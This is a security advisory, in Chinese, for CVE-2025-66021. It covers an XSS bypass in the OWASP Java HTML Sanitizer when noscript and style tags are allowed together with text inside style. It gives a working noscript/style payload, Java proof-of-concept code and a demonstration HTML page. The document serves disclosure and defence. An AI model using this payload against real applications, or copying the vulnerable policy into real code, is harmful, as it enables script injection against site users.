OWASP Java HTML净化器存在XSS漏洞:noscript标签与style标签处理不当
漏洞详情
摘要
研究发现,当HtmlPolicyBuilder允许noscript标签和style标签,并在style标签内使用allowTextIn时,OWASP Java HTML净化器存在XSS漏洞。如果payload经过精心构造,可能绕过CSS净化机制,导致XSS攻击。
详细说明
OWASP Java HTML净化器存在XSS漏洞,这种情况仅在HtmlPolicyBuilder允许noscript和style标签,并在style标签内使用allowTextIn时发生。
以下情况虽然较为边缘,但如果用户将HtmlPolicyBuilder与除noscript外的其他标签结合使用,并允许style标签内的allowTextIn,则净化器可以免受XSS攻击。这种情况的发生与浏览器对noscript标签的解析方式有关。
漏洞验证
创建允许p、noscript、style HTML标签并允许.allowTextIn("style")的HtmlPolicyBuilder。
存在两个非常相似的XSS payload,唯一的区别是一个使用p标签,另一个使用noscript标签。这些payload包含可能易受XSS攻击的script标签,应在净化后被剥离。
<noscript><style></noscript><script>alert(1)</script>
<p><style></p><script>alert(1)</script>
运行以下净化payload的代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
public class main {
private static final String ALLOWED_HTML_TAGS = "p, noscript, style";
/**
* 漏洞描述:
* OWASP净化器根据定义的白名单HTML标签对用户输入进行净化。
* 然而,如果HTML元素策略中不允许script标签,在边缘情况下仍可能导致XSS。
*/
public static void main(String[] args) {
withAllowedTextAndStyleTag();
}
/**
* 测试用例:易受XSS攻击
*/
public static void withAllowedTextAndStyleTag() {
HtmlPolicyBuilder htmlPolicyBuilder = new HtmlPolicyBuilder();
PolicyFactory policy = htmlPolicyBuilder
.allowElements(ALLOWED_HTML_TAGS.split("\\s*,\\s*"))
.allowTextIn("style")
.toFactory();
String untrustedHTMLOne = "<noscript><style></noscript><script>alert(1)</script>";
String untrustedHTMLTwo = "<p><style></p><script>alert(1)</script>";
System.out.println("PAYLOAD: " + untrustedHTMLOne +"\nSANITIZED OUTPUT: " + policy.sanitize(untrustedHTMLOne));
System.out.println("PAYLOAD: " + untrustedHTMLTwo +"\nSANITIZED OUTPUT: " + policy.sanitize(untrustedHTMLTwo));
}
}
|
使用最新库版本:
1
2
3
4
5
|
<dependency>
<groupId>com.googlecode.owasp-java-html-sanitizer</groupId>
<artifactId>owasp-java-html-sanitizer</artifactId>
<version>20240325.1</version>
</dependency>
|
POC代码的输出应如下所示:
1
2
3
4
5
|
PAYLOAD: <noscript><style></noscript><script>alert(1)</script>
SANITIZED OUTPUT: <noscript><style></noscript><script>alert(1)</script></style></noscript>
PAYLOAD: <p><style></p><script>alert(1)</script>
SANITIZED OUTPUT: <p><style></p><script>alert(1)</script></style></p>
|
净化过程分析
1
2
3
4
5
6
7
8
9
10
11
|
--------------------------| --> style标签后的所有内容被视为CSS,未被净化
PAYLOAD: <noscript><style> {</noscript><script>alert(1)</script>} -> CSS
-----------------------------------| --> 净化后,script标签中的payload保持不变,style和noscript标签被关闭
SANITIZED OUTPUT: <noscript><style>{</noscript><script>alert(1)</script>}</style></noscript>
-------------------| --> style标签后的所有内容被视为CSS,未被净化
PAYLOAD: <p><style></p>{<script>alert(1)</script>} -> CSS
--------------------------- | --> 净化后,script标签中的payload保持不变,style和p标签被关闭
SANITIZED OUTPUT: <p><style>{</p><script>alert(1)</script>}</style></p>
|
创建示例HTML页面
创建示例HTML页面并复制步骤5中应生成的净化输出:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>POC OF SANITIZER OUTPUT</title>
</head>
<body>
<!--XSS OUTPUT : <noscript><style></noscript><script>alert(1)</script></style></noscript>-->
<noscript><style></noscript><script>alert(1)</script></style></noscript>
<!-- SAFE OUTPUT -->
<p><style></p><script>alert(1)</script></style></p>
</body>
</html>
|
在浏览器中打开此HTML页面,应弹出alert。
打开检查元素以了解发生了什么。如果用户仔细观察,会发现结合p标签和style标签的payload不会导致XSS,浏览器将style标签后的所有内容视为CSS。
而结合noscript标签和style标签的payload确实导致了XSS。浏览器解析noscript标签包裹style标签,然后关闭noscript标签,之后的script payload被视为有效的HTML标签并在浏览器中执行,这导致了XSS,这与上一个使用p标签的示例完全不同。
影响
这可能潜在地导致应用程序中的XSS攻击。
参考:https://owasp.org/www-community/attacks/xss/
参考信息
GHSA-g9gq-3pfx-2gw2
技术指标
严重程度
高
CVSS总体评分
8.6/10
CVSS v4基础指标
- 攻击向量:网络
- 攻击复杂度:低
- 攻击要求:无
- 所需权限:无
- 用户交互:被动
脆弱系统影响指标
弱点
CWE-79:在网页生成过程中对输入的不当中和(跨站脚本)
CVE ID
CVE-2025-66021
GHSA ID
GHSA-g9gq-3pfx-2gw2